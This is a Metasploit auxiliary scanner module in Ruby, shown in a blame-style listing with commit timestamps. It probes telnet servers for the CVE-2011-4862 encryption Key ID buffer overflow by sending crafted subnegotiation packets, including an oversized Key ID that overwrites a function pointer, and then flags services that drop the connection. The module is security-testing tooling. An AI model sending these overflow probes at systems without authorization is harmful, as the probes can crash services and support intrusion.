2011-12-27 23:50:06 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2011-12-27 23:50:06 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Telnet
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Telnet Service Encyption Key ID Overflow Detection',
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Description' => 'Detect telnet services vulnerable to the encrypt option Key ID overflow (BSD-derived telnetd)',
|
|
|
|
'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'hdm' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['BID', '51182'],
|
|
|
|
['CVE', '2011-4862'],
|
2012-03-20 14:01:59 +00:00
|
|
|
['EDB', 18280]
|
2011-12-27 23:50:06 +00:00
|
|
|
]
|
|
|
|
)
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(23),
|
|
|
|
OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def to
|
|
|
|
return 30 if datastore['TIMEOUT'].to_i.zero?
|
|
|
|
datastore['TIMEOUT'].to_i
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
begin
|
|
|
|
::Timeout.timeout(to) do
|
|
|
|
res = connect
|
2012-02-13 17:01:26 +00:00
|
|
|
|
2011-12-27 23:50:06 +00:00
|
|
|
# This makes db_services look a lot nicer.
|
|
|
|
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
|
2012-06-18 04:39:20 +00:00
|
|
|
svc = report_service(:host => rhost, :port => rport, :name => "telnet", :info => banner_sanitized)
|
2012-02-13 17:01:26 +00:00
|
|
|
|
2011-12-27 23:50:06 +00:00
|
|
|
# Check for encryption option ( IS(0) DES_CFB64(1) )
|
|
|
|
sock.put("\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0")
|
2012-02-13 17:01:26 +00:00
|
|
|
|
2011-12-27 23:50:06 +00:00
|
|
|
loop do
|
|
|
|
data = sock.get_once(-1, to) rescue nil
|
|
|
|
if not data
|
|
|
|
print_status("#{ip}:#{rport} Does not support encryption: #{banner_sanitized} #{data.to_s.unpack("H*")[0]}")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
break if data.index("\xff\xfa\x26\x02\x01")
|
|
|
|
end
|
|
|
|
|
|
|
|
buff_good = "\xff\xfa\x26" + "\x07" + "\x00" + ("X" * 63) + "\xff\xf0"
|
2011-12-28 01:04:34 +00:00
|
|
|
buff_long = "\xff\xfa\x26" + "\x07" + "\x00" + ("X" * 64) + ( "\xcc" * 32) + "\xff\xf0"
|
2012-02-13 17:01:26 +00:00
|
|
|
|
2011-12-27 23:50:06 +00:00
|
|
|
begin
|
2012-02-13 17:01:26 +00:00
|
|
|
|
2011-12-28 01:04:34 +00:00
|
|
|
#
|
|
|
|
# Send a long, but within boundary Key ID
|
|
|
|
#
|
2011-12-27 23:50:06 +00:00
|
|
|
sock.put(buff_good)
|
|
|
|
data = sock.get_once(-1, 5) rescue nil
|
|
|
|
unless data
|
|
|
|
print_status("#{ip}:#{rport} UNKNOWN: No response to the initial probe: #{banner_sanitized}")
|
|
|
|
return
|
|
|
|
end
|
2012-02-13 17:01:26 +00:00
|
|
|
|
2011-12-27 23:50:06 +00:00
|
|
|
unless data.index("\xff\xfa\x26\x08\xff\xf0")
|
|
|
|
print_status("#{ip}:#{rport} UNKNOWN: Invalid reply to Key ID: #{data.unpack("H*")[0]} - #{banner_sanitized}")
|
|
|
|
return
|
|
|
|
end
|
2012-02-13 17:01:26 +00:00
|
|
|
|
2011-12-28 01:04:34 +00:00
|
|
|
#
|
|
|
|
# First round to overwrite the function pointer itself
|
|
|
|
#
|
2011-12-27 23:50:06 +00:00
|
|
|
sock.put(buff_long)
|
2011-12-28 01:04:34 +00:00
|
|
|
data = sock.get_once(-1, 5)
|
2011-12-27 23:50:06 +00:00
|
|
|
unless data
|
2011-12-28 01:04:34 +00:00
|
|
|
print_status("#{ip}:#{rport} NOT VULNERABLE: No reply to first long Key ID: #{banner_sanitized}")
|
2011-12-27 23:50:06 +00:00
|
|
|
return
|
|
|
|
end
|
2011-12-28 01:04:34 +00:00
|
|
|
|
2011-12-27 23:50:06 +00:00
|
|
|
unless data.index("\xff\xfa\x26\x08\xff\xf0")
|
2011-12-28 01:04:34 +00:00
|
|
|
print_status("#{ip}:#{rport} UNKNOWN: Invalid reply to first Key ID: #{data.unpack("H*")[0]} - #{banner_sanitized}")
|
2011-12-27 23:50:06 +00:00
|
|
|
return
|
2012-02-13 17:01:26 +00:00
|
|
|
end
|
2011-12-28 01:04:34 +00:00
|
|
|
|
|
|
|
#
|
2011-12-28 01:11:09 +00:00
|
|
|
# Second round to force the function to be called
|
2011-12-28 01:04:34 +00:00
|
|
|
#
|
|
|
|
sock.put(buff_long)
|
|
|
|
data = sock.get_once(-1, 5)
|
|
|
|
unless data
|
|
|
|
print_status("#{ip}:#{rport} NOT VULNERABLE: No reply to second long Key ID: #{banner_sanitized}")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
unless data.index("\xff\xfa\x26\x08\xff\xf0")
|
|
|
|
print_status("#{ip}:#{rport} UNKNOWN: Invalid reply to second Key ID: #{data.unpack("H*")[0]} - #{banner_sanitized}")
|
|
|
|
return
|
2012-02-13 17:01:26 +00:00
|
|
|
end
|
|
|
|
|
2011-12-28 01:04:34 +00:00
|
|
|
print_status("#{ip}:#{rport} NOT VULNERABLE: Service did not disconnect: #{banner_sanitized}")
|
|
|
|
return
|
2012-02-13 17:01:26 +00:00
|
|
|
|
|
|
|
rescue ::EOFError
|
|
|
|
end
|
|
|
|
|
2011-12-27 23:50:06 +00:00
|
|
|
# EOFError or response to 64-byte Key Id indicates vulnerable systems
|
|
|
|
print_good("#{ip}:#{rport} VULNERABLE: #{banner_sanitized}")
|
|
|
|
report_vuln(
|
|
|
|
{
|
2012-06-18 04:39:20 +00:00
|
|
|
:host => ip,
|
|
|
|
:service => svc,
|
|
|
|
:name => self.name,
|
|
|
|
:info => "Module #{self.fullname} confirmed acceptance of a long key ID: #{banner_sanitized}",
|
|
|
|
:refs => self.references
|
2011-12-27 23:50:06 +00:00
|
|
|
}
|
|
|
|
)
|
2012-02-13 17:01:26 +00:00
|
|
|
|
2011-12-27 23:50:06 +00:00
|
|
|
end
|
|
|
|
rescue ::Rex::ConnectionError
|
|
|
|
rescue Timeout::Error
|
|
|
|
print_error("#{target_host}:#{rport} Timed out after #{to} seconds")
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("#{target_host}:#{rport} Error: #{e} #{e.backtrace}")
|
|
|
|
ensure
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|